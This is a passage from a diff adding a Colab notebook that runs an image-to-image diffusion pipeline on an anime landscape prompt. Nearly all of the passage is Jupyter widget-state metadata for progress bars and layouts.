+            "5c5b46c826a546008a4c8767c40bb1c9",
+            "cef46b7bd56547bd87478e9c3eaa2aa7",
+            "40b3e69446974dccb4675c68b6b3db6e",
+            "66ec2664ae9049548c50a0729a79b3bc"
+          ]
+        },
+        "id": "td1Jm19GIMzA",
+        "outputId": "15685051-9943-4f05-cd5b-71b7830870d1"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"Beautiful anime landscape\"\n",
+        "n_prompt = \"bad, deformed, ugly\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "nybmdyVoSelv"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0030fdc5270147c7a9cf0574fedab275": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0110098fd7ba45ada215e579d7a659b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a548fd49eb4a451386b340a677f93073",
+              "IPY_MODEL_1a80f747d4b4437099554768298a7b4a",
+              "IPY_MODEL_f8ed4f4a78df426aa227ef4e1dda7063"
+            ],
+            "layout": "IPY_MODEL_0030fdc5270147c7a9cf0574fedab275"
+          }
+        },
+        "02dae045c1e7433cbdd872206d35e2f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "040ee5bc127a48a3b3a8727aefac4ae8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "061de01186f440bea0491134ff347c86": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "07a62b7083044ede9ec79902d595e4b9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "07d4c54ed84242068b64353eec6593fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0e19b13015304e75abe29a63bd8a9052": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_253c99a742054b8aa6f2e8e20093cfce",
+            "placeholder": "​",
+            "style": "IPY_MODEL_13263d08c8324e46a5661cca111e6bb4",
+            "value": "100%"
+          }
+        },
+        "0f79744697af4a53835dee31a1b4f748": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f3d5fc14999740b2bb7e4c21d1413b37",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b274cfa1678e49938e163e2d17d7f179",
+            "value": " 35/35 [00:12&lt;00:00,  2.94it/s]"
+          }
+        },
+        "11fb8904566f4751beffc60b2785b97e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e9797440d4904681b6d32ba13e38cf69",
+              "IPY_MODEL_a2d89cde3ec1423798f3591a2aadbaef",
+              "IPY_MODEL_e9de6d1bfc2541fbaf1c5315be405904"
+            ],
+            "layout": "IPY_MODEL_07a62b7083044ede9ec79902d595e4b9"
+          }
+        },
+        "13263d08c8324e46a5661cca111e6bb4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "15b2d929ce0a4c70a156302db442e1a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1a80f747d4b4437099554768298a7b4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5c5b46c826a546008a4c8767c40bb1c9",
+            "max": 35,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cef46b7bd56547bd87478e9c3eaa2aa7",
+            "value": 35
+          }
+        },
+        "23e3dc5b455d445a957cf44e6c913b30": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "253c99a742054b8aa6f2e8e20093cfce": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2540be75baeb49769f279ad95778a857": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "279e8805d1a8468496bf091b2854683e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2ad534b30374491ca6b99f035efa1004": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b3c65e0ad46a4fdcb639e3c98983f1b7",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7d12e7d3738f4094a2c1d7a56a03c928",
+            "value": "100%"
+          }
+        },
+        "2cc5cba3a49842fab50519d9968a4e53": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3394e6e9924e4f2bb791976994169806": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3758340ddeb543a9854df0e5502725eb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_92ef2a1653944c10b5515f618811f749",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3db5acc140324a6e9ac259a13595b65e",
+            "value": " 45/45 [00:14&lt;00:00,  3.09it/s]"
+          }
+        },
+        "3b4ca1a9965f4aeabff645cc5d6aa92e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6f02e4b70ac145a1a9b0d9a97f8a0d6b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_61e7f8494b86497fbe3d96f37206d930",
+            "value": "100%"
+          }
+        },
+        "3cd041ccf57c46ff91b714b7c572f581": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3db5acc140324a6e9ac259a13595b65e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3f267dc1656b4c2e9a0496da73081b15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_061de01186f440bea0491134ff347c86",
+            "placeholder": "​",
+            "style": "IPY_MODEL_15b2d929ce0a4c70a156302db442e1a9",
+            "value": "100%"
+          }
+        },
+        "3f2e54c7185e4251962269369e30a9ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f037d2a0f68e4647ab8d1e3c278aac8f",
+              "IPY_MODEL_77bdcf219f2e4aa8ba1725329011f2bc",
+              "IPY_MODEL_bf5ffbefc35449659cc9aae956e9a292"
+            ],
+            "layout": "IPY_MODEL_6186ca097ee64f289f1becdd180cf1aa"
+          }
+        },
+        "3ff6eda7d146478880b0d26670caa23c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "40b3e69446974dccb4675c68b6b3db6e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "41c7ad82fa3f4a24a13a09f384e8fd51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "42b12e19632c48e8809ccc1dfde61417": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7a282eb45d6f4d5da0c6f5241b023b32",
+            "placeholder": "​",
+            "style": "IPY_MODEL_af74c20beba94d84b5cf97818b6bd191",
+            "value": "100%"
+          }
+        },
+        "4c55892c8dd3450a9904bce9e9b80057": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5066ac8781ec4f00b27ec6be27eb8506": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "52ee43cf76e948e4944d0539462e41f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d97e3dc3965247c3b5f19925e1a481f2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6c4f2c3e26614dce84bc1bf63b1e263f",
+            "value": " 25/25 [00:08&lt;00:00,  2.99it/s]"
+          }
+        },
+        "5c5b46c826a546008a4c8767c40bb1c9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5d7dd248760841d9b95a356cdcdd6797": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
